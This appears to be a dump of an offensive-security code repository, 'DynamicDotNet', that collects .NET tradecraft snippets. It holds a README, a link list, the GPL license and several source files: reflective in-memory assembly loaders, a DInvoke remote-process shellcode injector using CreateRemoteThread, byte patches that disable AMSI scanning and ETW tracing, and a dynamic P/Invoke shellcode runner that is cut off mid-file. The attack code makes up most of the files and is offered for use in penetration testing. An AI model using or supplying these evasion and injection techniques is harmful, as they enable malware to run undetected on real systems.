├── LICENSE ├── LINKS.md ├── README.md ├── assembly_loader ├── DynamicAssemblyDllLoader.cs ├── DynamicAssemblyDllLoader.ps1 └── DynamicAssemblyLoader.cs ├── dinvoke └── dinvoke_delagates_createremotethread_shellcode_injection.cs ├── dynamic_compile └── System_CodeDom_Compiler_Reflective_Assembly_Loader.cs ├── dynamic_pinvoke ├── DynamicPInvoke_DefineMethod_AMSI_Patch.cs ├── DynamicPInvoke_DefineMethod_ETW_Patch.cs ├── DynamicPInvoke_DefineMethod_Shellcode_Runner.cs ├── DynamicPInvoke_DefineMethod_UsageLog_Patch.cs └── dynamic_pinvoke_definepinvokemethod_shellcode_runner.cs └── yara ├── dynamic_pinvoke_definemethod.yara ├── dynamic_pinvoke_definepinvokemethod.yara └── locate_dynamic_dotnet_emitted_msil.yara /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /LINKS.md: -------------------------------------------------------------------------------- 1 | # Dynamic .NET Links 2 | Links to resources that rely on dynamic tradecraft 3 | 4 | ## Offense 5 | 6 | - [DInvoke Library](https://github.com/TheWover/DInvoke) by The Wover and FuzzySec (b33f) 7 | - [Emulating Covert Operations - Dynamic Invocation](https://thewover.github.io/Dynamic-Invoke/) by The Wover and FuzzySec (b33f) 8 | - [Unmanaged Coce Execution with .NET Dynamic PInvoke](https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/) by bohops 9 | - [HInvoke and avoiding PInvoke](https://dr4k0nia.github.io/posts/HInvoke-and-avoiding-PInvoke/) by dr4k0nia 10 | - [NixImports a .NET loader using HInvoke](https://dr4k0nia.github.io/posts/NixImports-a-NET-loader-using-HInvoke/) by dr4k0nia 11 | - [NixImports](https://github.com/dr4k0nia/NixImports) by dr4k0nia 12 | - [DynamicWrapperCs](https://github.com/tuian/subTee-gits-backups/blob/92d2e4eaef86ad0dc3b60f262e840c647c309eac/DynamicWrapperCS.cs) bu subtee 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DynamicDotNet 2 | 3 | A collection of various and sundry code snippets that leverage .NET dynamic tradecraft 4 | 5 | ## Purpose 6 | 7 | To showcase offensive and defensive tooling and POCs that leverage .NET dynamic loading, staging, bootstrapping, types, objects, functions, etc. 8 | 9 | ## Contribute 10 | 11 | #### Source Code & Text Documents 12 | All are welcome to contribute to this repository. Please submit a PR with source code file(s) (e.g. .cs, .cpp, etc.) that include the following: 13 | 14 | - An applicable subject directory such as /dynamic_pinvoke (if one does not exist) 15 | - Named 'dynamic' .NET technique or purpose in the povided text or source code file(s) (e.g. dynamic_pinvoke_definepinvokemethod_shellcode_runner.cs) 16 | - Descriptive comments and sourcing in provided files - e.g. purpose, reference/source(s), credit(s), proper license (if applicable), instructions/requirements, etc. 17 | 18 | Please **do not** include: 19 | 20 | - Complex source code projects (e.g. that includes the DInvoke library) 21 | - Compiled code 22 | - Shellcode payloads (hex, base64, etc.) 23 | - Licensed code that violates copyrights, trademarks, etc. 24 | 25 | #### Resources 26 | - Submit a PR to add to the [LINKS.md](https://github.com/bohops/DynamicDotNet/blob/main/LINKS.md) resource file 27 | 28 | #### Defense 29 | - Please submit yara rules to the /yara directory 30 | - A general /defensive_considerations directory will be added in the future 31 | 32 | ## References & Resources 33 | 34 | See [LINKS.md](https://github.com/bohops/DynamicDotNet/blob/main/LINKS.md) 35 | 36 | ## Ethics 37 | Content shared in this repository is designed to help security professionals perform ethical and legal security assessments and penetration tests. Do not use for nefarious purposes. 38 | -------------------------------------------------------------------------------- /assembly_loader/DynamicAssemblyDllLoader.cs: -------------------------------------------------------------------------------- 1 | // DynamicAssemblyDllLoader: A DotNet Assembly DLL Loader using a Dynamic Method and Emitted MSIL Instructions 2 | // Author: @bohops 3 | // 4 | // ------------------------------------------------------------------------ 5 | // 6 | // helloworld.dll source - compile to .NET Framework maanged DLL for testing 7 | /* 8 | using System; 9 | 10 | namespace Hello 11 | { 12 | public class World 13 | { 14 | public static void Run(string[] args) 15 | { 16 | Console.WriteLine(args[0]); 17 | } 18 | } 19 | } 20 | */ 21 | // 22 | // ------------------------------------------------------------------------ 23 | // 24 | // "Normal" Assembly DLL Load Implementation: 25 | /* 26 | byte[] assemblyBytes = File.ReadAllBytes(..) 27 | Assembly assembly = Assembly.Load(assemblyBytes); 28 | Type type = assembly.GetType("Hello.World"); 29 | MethodInfo method = type.GetMethod("Run"); 30 | method.Invoke(obj, objArr); 31 | */ 32 | // ------------------------------------------------------------------------ 33 | // 34 | // "Dyanmic" Assembly DLL Load Implementation: 35 | 36 | using System; 37 | using System.Reflection; 38 | using System.Reflection.Emit; 39 | using System.IO; 40 | 41 | public class Program 42 | { 43 | public static void Main() 44 | { 45 | //Capture assembly bytes from memory, disk, etc. 46 | byte[] assemblyBytes = File.ReadAllBytes(@"c:\test\helloworld\bin\x64\Release\helloworld.dll"); 47 | 48 | //Args in string array format { "str1", "str2", "etc"} 49 | string[] assemblyArgs = new string[] { "Hello There, World!" }; 50 | object obj = new object(); 51 | object[] objArr = new object[] { assemblyArgs }; 52 | 53 | //Execute in dynamic function 54 | DynamicMethod dynamicMethod = new DynamicMethod("_Invoke", typeof(void), new Type[] { typeof(byte[]), typeof(object), typeof(object[]) }); 55 | ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); 56 | iLGenerator.Emit(OpCodes.Ldarg_0); 57 | iLGenerator.EmitCall(OpCodes.Call, typeof(Assembly).GetMethod("Load", new Type[] { typeof(byte[]) }), null); 58 | iLGenerator.Emit(OpCodes.Ldstr, "Hello.World"); //Type (e.g. Namespace/Class) 59 | iLGenerator.EmitCall(OpCodes.Callvirt, typeof(Assembly).GetMethod("GetType", new Type[] { typeof(string) }), null); 60 | iLGenerator.Emit(OpCodes.Ldstr, "Run"); //Method Name 61 | iLGenerator.EmitCall(OpCodes.Callvirt, typeof(Type).GetMethod("GetMethod", new Type[] { typeof(string) }), null); 62 | iLGenerator.Emit(OpCodes.Ldarg_1); 63 | iLGenerator.Emit(OpCodes.Ldarg_2); 64 | iLGenerator.EmitCall(OpCodes.Callvirt, typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }), null); 65 | iLGenerator.Emit(OpCodes.Pop); 66 | iLGenerator.Emit(OpCodes.Ret); 67 | dynamicMethod.Invoke(null, new object[] { assemblyBytes, obj, objArr }); 68 | } 69 | } -------------------------------------------------------------------------------- /assembly_loader/DynamicAssemblyDllLoader.ps1: -------------------------------------------------------------------------------- 1 | # Port of DynamicAssemblyDllLoader.cs 2 | # Author: @bohops, @snovvcrash 3 | 4 | $assemblyBytes = [System.IO.File]::ReadAllBytes("c:\test\helloworld\bin\x64\Release\helloworld.dll") 5 | $assemblyArgs = [object[]] @("Hello There, World!") 6 | 7 | $dynamicMethod = New-Object System.Reflection.Emit.DynamicMethod("_Invoke", [void], @([byte[]], [object], [object[]])) 8 | $iLGenerator = $dynamicMethod.GetiLGenerator() 9 | $iLGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) 10 | $iLGenerator.EmitCall([System.Reflection.Emit.OpCodes]::Call, [System.Reflection.Assembly].GetMethod("Load", [System.Type[]] @([byte[]])), $null) 11 | $iLGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldstr, "Hello.World") 12 | $iLGenerator.EmitCall([System.Reflection.Emit.OpCodes]::Callvirt, [System.Reflection.Assembly].GetMethod("GetType", [System.Type[]] @([string])), $null) 13 | $iLGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldstr, "Main") 14 | $iLGenerator.EmitCall([System.Reflection.Emit.OpCodes]::Callvirt, [System.Type].GetMethod("GetMethod", [System.Type[]] @([string])), $null) 15 | $iLGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) 16 | $iLGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2) 17 | $iLGenerator.EmitCall([System.Reflection.Emit.OpCodes]::Callvirt, [System.Reflection.MethodBase].GetMethod("Invoke", [System.Type[]] @([object], [object[]])), $null) 18 | $iLGenerator.Emit([System.Reflection.Emit.OpCodes]::Pop) 19 | $iLGenerator.Emit([System.Reflection.Emit.OpCodes]::Ret) 20 | $dynamicMethod.Invoke($null, [object[]] @($assemblyBytes, $null, (, $assemblyArgs))) 21 | -------------------------------------------------------------------------------- /assembly_loader/DynamicAssemblyLoader.cs: -------------------------------------------------------------------------------- 1 | // DynamicAssemblyLoader: A DotNet Assembly Loader using a Dynamic Method and Emitted MSIL Instructions 2 | // Author: @bohops 3 | // 4 | // "Normal" Implementation: 5 | /* 6 | Assembly assembly = Assembly.Load(assemblyBytes); 7 | assembly.EntryPoint.Invoke(obj, objArr); 8 | */ 9 | 10 | using System; 11 | using System.Reflection; 12 | using System.Reflection.Emit; 13 | using System.IO; 14 | 15 | public class Program 16 | { 17 | public static void Main() 18 | { 19 | //Capture assembly bytes from memory, disk, etc. 20 | //Example - Run Seatbelt by @harmj0y and @tifkin_ [https://github.com/GhostPack/Seatbelt] 21 | byte[] assemblyBytes = File.ReadAllBytes(@"C:\test\Seatbelt.exe"); 22 | 23 | //Args in string array format { "str1", "str2", "etc"} 24 | string[] assemblyArgs = new string[] { "-group=system" }; 25 | object obj = new object(); 26 | object[] objArr = new object[] { assemblyArgs }; 27 | 28 | //Load and invoke the assembly 29 | DynamicMethod dynamicMethod = new DynamicMethod("_Invoke", typeof(void), new Type[] { typeof(byte[]), typeof(object), typeof(object[]) }); 30 | ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); 31 | iLGenerator.Emit(OpCodes.Ldarg_0); 32 | iLGenerator.EmitCall(OpCodes.Call, typeof(Assembly).GetMethod("Load", new Type[] { typeof(byte[]) }), null); 33 | iLGenerator.EmitCall(OpCodes.Callvirt, typeof(Assembly).GetMethod("get_EntryPoint", new Type[] { }), null); 34 | iLGenerator.Emit(OpCodes.Ldarg_1); 35 | iLGenerator.Emit(OpCodes.Ldarg_2); 36 | iLGenerator.EmitCall(OpCodes.Callvirt, typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }), null); 37 | iLGenerator.Emit(OpCodes.Pop); 38 | iLGenerator.Emit(OpCodes.Ret); 39 | dynamicMethod.Invoke(null, new object[] { assemblyBytes, obj, objArr }); 40 | } 41 | } -------------------------------------------------------------------------------- /dinvoke/dinvoke_delagates_createremotethread_shellcode_injection.cs: -------------------------------------------------------------------------------- 1 | // DInvoke Process Injection 2 | // Features: DInvoke, Delegates, Remote Process Injection (createremotethread), Shellcode Runner 3 | // Blog Reference: https://rastamouse.me/blog/process-injection-dinvoke/ 4 | // DInvoke Reference: https://github.com/cobbr/SharpSploit/tree/master/SharpSploit/Execution/DynamicInvoke 5 | // SharpSploit License: BSD-3 6 | // Author: @_RastaMouse 7 | 8 | using System; 9 | using System.IO; 10 | using System.Runtime.InteropServices; 11 | 12 | using SharpSploit.Execution.DynamicInvoke; 13 | 14 | namespace InjectionTest 15 | { 16 | class Program 17 | { 18 | static void Main(string[] args) 19 | { 20 | var shellcode = File.ReadAllBytes(args[0]); 21 | 22 | var pointer = Generic.GetLibraryAddress("kernel32.dll", "OpenProcess"); 23 | var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess; 24 | var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1])); 25 | 26 | pointer = Generic.GetLibraryAddress("kernel32.dll", "VirtualAllocEx"); 27 | var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(VirtualAllocEx)) as VirtualAllocEx; 28 | var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40); 29 | 30 | pointer = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); 31 | var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(WriteProcessMemory)) as WriteProcessMemory; 32 | writeProcessMemory(hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten); 33 | 34 | pointer = Generic.GetLibraryAddress("kernel32.dll", "CreateRemoteThread"); 35 | var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(CreateRemoteThread)) as CreateRemoteThread; 36 | createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero); 37 | } 38 | 39 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 40 | delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 41 | 42 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 43 | public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 44 | 45 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 46 | public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); 47 | 48 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 49 | public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 50 | } 51 | } -------------------------------------------------------------------------------- /dynamic_compile/System_CodeDom_Compiler_Reflective_Assembly_Loader.cs: -------------------------------------------------------------------------------- 1 | //mitre att&ck: T1027.004 - Obfuscated Files or Information: Compile After Delivery [https://attack.mitre.org/techniques/T1027/004/] 2 | //ref: https://github.com/MarianoIT/dynamic-code/blob/0e190f73931478ffa7f1c265fd3efa1f48eff41c/DynamicCodeApp/Program.cs 3 | 4 | using System; 5 | using System.Reflection; 6 | using System.CodeDom.Compiler; 7 | 8 | public class App 9 | { 10 | public static void Main() 11 | { 12 | // Insert source code to compile and run 13 | string code = @" 14 | using System; 15 | public class myclass 16 | { 17 | public static void Main(string[] args) 18 | { 19 | Console.WriteLine(""It worked!""); 20 | } 21 | }"; 22 | //Specify coding language 23 | CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp"); 24 | 25 | //Add assembly references 26 | CompilerParameters compilerParameters = new CompilerParameters(); 27 | compilerParameters.ReferencedAssemblies.Add("System.dll"); 28 | 29 | //Specify code generation options (needed to load in memory) 30 | compilerParameters.GenerateInMemory = true; 31 | compilerParameters.GenerateExecutable = true; 32 | 33 | //Compile code 34 | CompilerResults results = codeDomProvider.CompileAssemblyFromSource(compilerParameters, new String[] { code }); 35 | 36 | //Reflectively load assembly (with args) 37 | Assembly assembly = results.CompiledAssembly; 38 | string[] args = new string[] { "" }; 39 | assembly.EntryPoint.Invoke(null, new object[] { args }); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /dynamic_pinvoke/DynamicPInvoke_DefineMethod_AMSI_Patch.cs: -------------------------------------------------------------------------------- 1 | //Refs: 2 | //https://gist.github.com/nicholasmckinney/a1d63f3f5192b1d2dfbb4ba67b37c729 3 | //https://gist.github.com/TheWover/bf992fb765dc05c62e417eddc010e2ce 4 | //https://dotnetfiddle.net/10b8CQ 5 | //https://github.com/rootSySdk/PowerShellSample/blob/6dc0936ec2e2042c47cc22f57172401485de5739/PInvoke/MessageBoxManual.ps1 6 | //https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ 7 | //https://github.com/Mr-Un1k0d3r/AMSI-ETW-Patch/ 8 | using System; 9 | using System.Runtime.InteropServices; 10 | using System.Reflection; 11 | using System.Reflection.Emit; 12 | 13 | namespace DynamicAmsiPatch 14 | { 15 | public class Program 16 | { 17 | public static void Main() 18 | { 19 | IntPtr amsi = LoadLibrary("amsi.dll"); 20 | 21 | IntPtr amsiScanBuffer = GetProcAddress(amsi, "AmsiScanBuffer"); 22 | 23 | IntPtr final = IntPtr.Add(amsiScanBuffer, 0x95); 24 | 25 | UInt32 dwOld = 0; 26 | VirtualProtect(final, (UInt32)0x1, 0x40, ref dwOld); 27 | 28 | byte[] patch = new byte[] { 0x75 }; 29 | 30 | Marshal.Copy(patch, 0, final, patch.Length); 31 | 32 | VirtualProtect(final, (UInt32)0x1, 0x20, ref dwOld); 33 | } 34 | 35 | public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes) 36 | { 37 | AssemblyName assemblyName = new AssemblyName("zz"); 38 | var assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); 39 | var moduleBuilder = assemblyBuilder.DefineDynamicModule("zz", false); 40 | var typeBuilder = moduleBuilder.DefineType(library, TypeAttributes.Public | TypeAttributes.Class); 41 | 42 | var methodBuilder = typeBuilder.DefineMethod(method, 43 | MethodAttributes.Public | MethodAttributes.Static, 44 | type, 45 | paramTypes); 46 | 47 | ConstructorInfo dllImportConstructorInfo = typeof(DllImportAttribute).GetConstructor(new Type[] { typeof(string) }); 48 | 49 | FieldInfo[] dllImportFieldInfo = { typeof(DllImportAttribute).GetField("EntryPoint"), 50 | typeof(DllImportAttribute).GetField("PreserveSig"), 51 | typeof(DllImportAttribute).GetField("SetLastError"), 52 | typeof(DllImportAttribute).GetField("CallingConvention"), 53 | typeof(DllImportAttribute).GetField("CharSet") }; 54 | 55 | Object[] dllImportFieldValues = { method, 56 | true, 57 | true, 58 | CallingConvention.Winapi, 59 | CharSet.Ansi}; 60 | 61 | CustomAttributeBuilder customAttributeBuilder = new CustomAttributeBuilder(dllImportConstructorInfo, new Object[] { library }, dllImportFieldInfo, dllImportFieldValues); 62 | methodBuilder.SetCustomAttribute(customAttributeBuilder); 63 | 64 | Type myType = typeBuilder.CreateType(); 65 | object res = myType.InvokeMember(method, BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, null, args); 66 | 67 | return res; 68 | } 69 | 70 | public static IntPtr LoadLibrary(String libName) 71 | { 72 | Type[] paramTypes = { typeof(String) }; 73 | Object[] args = { libName }; 74 | object res = DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "LoadLibraryA", args, paramTypes); 75 | return (IntPtr)res; 76 | } 77 | 78 | public static IntPtr GetProcAddress(IntPtr hModule, String procName) 79 | { 80 | Type[] paramTypes = { typeof(IntPtr), typeof(String) }; 81 | Object[] args = { hModule, procName }; 82 | object res = DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "GetProcAddress", args, paramTypes); 83 | return (IntPtr)res; 84 | } 85 | 86 | public static bool VirtualProtect(IntPtr hProcess, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect) 87 | { 88 | Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(UInt32), typeof(UInt32).MakeByRefType() }; 89 | Object[] args = { hProcess, dwSize, flNewProtect, lpflOldProtect }; 90 | object res = DynamicPInvokeBuilder(typeof(bool), "kernel32.dll", "VirtualProtect", args, paramTypes); 91 | return (bool)res; 92 | } 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /dynamic_pinvoke/DynamicPInvoke_DefineMethod_ETW_Patch.cs: -------------------------------------------------------------------------------- 1 | //Refs: 2 | //https://gist.github.com/nicholasmckinney/a1d63f3f5192b1d2dfbb4ba67b37c729 3 | //https://gist.github.com/TheWover/bf992fb765dc05c62e417eddc010e2ce 4 | //https://dotnetfiddle.net/10b8CQ 5 | //https://github.com/rootSySdk/PowerShellSample/blob/6dc0936ec2e2042c47cc22f57172401485de5739/PInvoke/MessageBoxManual.ps1 6 | //https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ 7 | //https://github.com/Mr-Un1k0d3r/AMSI-ETW-Patch/ 8 | 9 | using System; 10 | using System.Runtime.InteropServices; 11 | using System.Reflection; 12 | using System.Reflection.Emit; 13 | 14 | namespace DynamicEtwPatch 15 | { 16 | public class Program 17 | { 18 | public static void Main() 19 | { 20 | IntPtr ntdll = LoadLibrary("ntdll.dll"); 21 | 22 | IntPtr ntTraceEvent = GetProcAddress(ntdll, "NtTraceEvent"); 23 | 24 | UInt32 dwOld = 0; 25 | VirtualProtect(ntTraceEvent, (UInt32)0x1, 0x40, ref dwOld); 26 | 27 | byte[] patch = new byte[] { 0xC3 }; 28 | 29 | Marshal.Copy(patch, 0, ntTraceEvent, patch.Length); 30 | 31 | VirtualProtect(ntTraceEvent, (UInt32)0x1, 0x20, ref dwOld); 32 | } 33 | 34 | public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes) 35 | { 36 | AssemblyName assemblyName = new AssemblyName("zz"); 37 | var assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); 38 | var moduleBuilder = assemblyBuilder.DefineDynamicModule("zz", false); 39 | var typeBuilder = moduleBuilder.DefineType(library, TypeAttributes.Public | TypeAttributes.Class); 40 | 41 | var methodBuilder = typeBuilder.DefineMethod(method, 42 | MethodAttributes.Public | MethodAttributes.Static, 43 | type, 44 | paramTypes); 45 | 46 | ConstructorInfo dllImportConstructorInfo = typeof(DllImportAttribute).GetConstructor(new Type[] { typeof(string) }); 47 | 48 | FieldInfo[] dllImportFieldInfo = { typeof(DllImportAttribute).GetField("EntryPoint"), 49 | typeof(DllImportAttribute).GetField("PreserveSig"), 50 | typeof(DllImportAttribute).GetField("SetLastError"), 51 | typeof(DllImportAttribute).GetField("CallingConvention"), 52 | typeof(DllImportAttribute).GetField("CharSet") }; 53 | 54 | Object[] dllImportFieldValues = { method, 55 | true, 56 | true, 57 | CallingConvention.Winapi, 58 | CharSet.Ansi}; 59 | 60 | CustomAttributeBuilder customAttributeBuilder = new CustomAttributeBuilder(dllImportConstructorInfo, new Object[] { library }, dllImportFieldInfo, dllImportFieldValues); 61 | methodBuilder.SetCustomAttribute(customAttributeBuilder); 62 | 63 | Type myType = typeBuilder.CreateType(); 64 | object res = myType.InvokeMember(method, BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, null, args); 65 | 66 | return res; 67 | } 68 | 69 | public static IntPtr LoadLibrary(String libName) 70 | { 71 | Type[] paramTypes = { typeof(String) }; 72 | Object[] args = { libName }; 73 | object res = DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "LoadLibraryA", args, paramTypes); 74 | return (IntPtr)res; 75 | } 76 | 77 | public static IntPtr GetProcAddress(IntPtr hModule, String procName) 78 | { 79 | Type[] paramTypes = { typeof(IntPtr), typeof(String) }; 80 | Object[] args = { hModule, procName }; 81 | object res = DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "GetProcAddress", args, paramTypes); 82 | return (IntPtr)res; 83 | } 84 | 85 | public static bool VirtualProtect(IntPtr hProcess, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect) 86 | { 87 | Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(UInt32), typeof(UInt32).MakeByRefType() }; 88 | Object[] args = { hProcess, dwSize, flNewProtect, lpflOldProtect }; 89 | object res = DynamicPInvokeBuilder(typeof(bool), "kernel32.dll", "VirtualProtect", args, paramTypes); 90 | return (bool)res; 91 | } 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /dynamic_pinvoke/DynamicPInvoke_DefineMethod_Shellcode_Runner.cs: -------------------------------------------------------------------------------- 1 | //Refs: 2 | //https://gist.github.com/nicholasmckinney/a1d63f3f5192b1d2dfbb4ba67b37c729 3 | //https://gist.github.com/TheWover/bf992fb765dc05c62e417eddc010e2ce 4 | //https://dotnetfiddle.net/10b8CQ 5 | //https://github.com/rootSySdk/PowerShellSample/blob/6dc0936ec2e2042c47cc22f57172401485de5739/PInvoke/MessageBoxManual.ps1 6 | //https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ 7 | 8 | using System; 9 | using System.Runtime.InteropServices; 10 | using System.Reflection; 11 | using System.Reflection.Emit; 12 | 13 | namespace DynamicPInvokeDefineMethodShellcodeRunner 14 | { 15 | public class Program 16 | { 17 | public static void Main() 18 | { 19 | byte[] shellcode = { 0xfc, 0x48, .. }; 20 | 21 | IntPtr funcAddr = VirtualAlloc( 22 | IntPtr.Zero, 23 | (uint)shellcode.Length, 24 | 0x1000, 25 | 0x04); 26 | 27 | Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); 28 | 29 | EnumDesktopWindowsDelegate dwDelegate = (EnumDesktopWindowsDelegate)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(EnumDesktopWindowsDelegate)); 30 | 31 | UInt32 threadID = GetCurrentThreadId(); 32 | IntPtr threadDesktop = GetThreadDesktop(threadID); 33 | 34 | UInt32 flOldProtect = 0; 35 | if (VirtualProtect(funcAddr, (UIntPtr)shellcode.Length, 0x20, ref flOldProtect)) 36 | { 37 | EnumDesktopWindows(threadDesktop, dwDelegate, IntPtr.Zero); 38 | } 39 | } 40 | 41 | public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes) 42 | { 43 | //Define Dynamic Assembly 44 | AssemblyName assemblyName = new AssemblyName("zz"); 45 | var assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); 46 | var moduleBuilder = assemblyBuilder.DefineDynamicModule("zz", false); 47 | var typeBuilder = moduleBuilder.DefineType(library, TypeAttributes.Public | TypeAttributes.Class); 48 | 49 | 50 | //Define PInvoke Method 51 | var methodBuilder = typeBuilder.DefineMethod(method, 52 | MethodAttributes.Public | MethodAttributes.Static, 53 | type, 54 | paramTypes); 55 | 56 | 57 | //Define PInvoke DLL Import & Signature 58 | ConstructorInfo dllImportConstructorInfo = typeof(DllImportAttribute).GetConstructor(new Type[] { typeof(string) }); 59 | 60 | FieldInfo[] dllImportFieldInfo = { typeof(DllImportAttribute).GetField("EntryPoint"), 61 | typeof(DllImportAttribute).GetField("PreserveSig"), 62 | typeof(DllImportAttribute).GetField("SetLastError"), 63 | typeof(DllImportAttribute).GetField("CallingConvention"), 64 | typeof(DllImportAttribute).GetField("CharSet") }; 65 | 66 | Object[] dllImportFieldValues = { method, 67 | true, 68 | true, 69 | CallingConvention.Winapi, 70 | CharSet.Unicode}; 71 | 72 | 73 | //Create and add attributes to method 74 | CustomAttributeBuilder customAttributeBuilder = new CustomAttributeBuilder(dllImportConstructorInfo, new Object[] { library }, dllImportFieldInfo, dllImportFieldValues); 75 | methodBuilder.SetCustomAttribute(customAttributeBuilder); 76 | 77 | //Call PInvoke Method 78 | Type myType = typeBuilder.CreateType(); 79 | object res = myType.InvokeMember(method, BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, null, args); 80 | 81 | return res; 82 | } 83 | 84 | public static IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect) 85 | { 86 | Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(UInt32), typeof(UInt32) }; 87 | Object[] args = { lpAddress, dwSize, flAllocationType, flProtect }; 88 | object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.dll", "VirtualAlloc", args, paramTypes); 89 | return (IntPtr)res; 90 | } 91 | 92 | public static bool VirtualProtect(IntPtr hProcess, UIntPtr dwSize, UInt32 